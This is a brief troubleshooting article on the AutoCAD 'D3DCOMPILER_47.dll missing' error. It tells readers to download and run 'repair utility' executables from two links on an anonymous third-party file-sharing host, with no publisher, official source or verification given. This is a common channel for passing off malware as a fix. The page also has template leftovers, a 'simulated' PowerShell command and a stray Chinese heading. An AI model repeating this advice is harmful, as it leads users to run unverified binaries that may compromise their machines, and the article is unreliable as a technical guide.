Fatal Error: D3DCOMPILER_47.dll Missing When Launching AutoCAD

Issue:

When attempting to launch AutoCAD, a fatal error message referencing D3DCOMPILER_47.dll is displayed.

Cause

This error indicates that the D3DCOMPILER_47.dll file, which is a component of DirectX, is either missing or corrupted on the system.

解决方案

To resolve this issue, download and run the appropriate repair utility specific to your operating system’s architecture.

Steps to Resolve

1. Determine your operating system’s architecture (32-bit or 64-bit).
2. Download the corresponding repair utility from the links below:
   • For 32-bit systems: https://wwug.lanzoum.com/iXiiK11i48oh
   • For 64-bit systems: https://wwug.lanzoum.com/i2GzV11i4k5a
3. Once downloaded, double-click the executable file to run the repair program.
4. Follow any on-screen instructions to complete the process.
5. After the utility has finished, restart your computer if prompted.
6. Launch AutoCAD to confirm the resolution of the error.

Image Placeholder: Visual guide for detecting system architecture or running the repair utility.

# Example command to check system architecture (simulated)
Get-WmiObject -Class Win32_Processor | Select-Object AddressWidth

# Example output for a 64-bit system
AddressWidth
------------
          64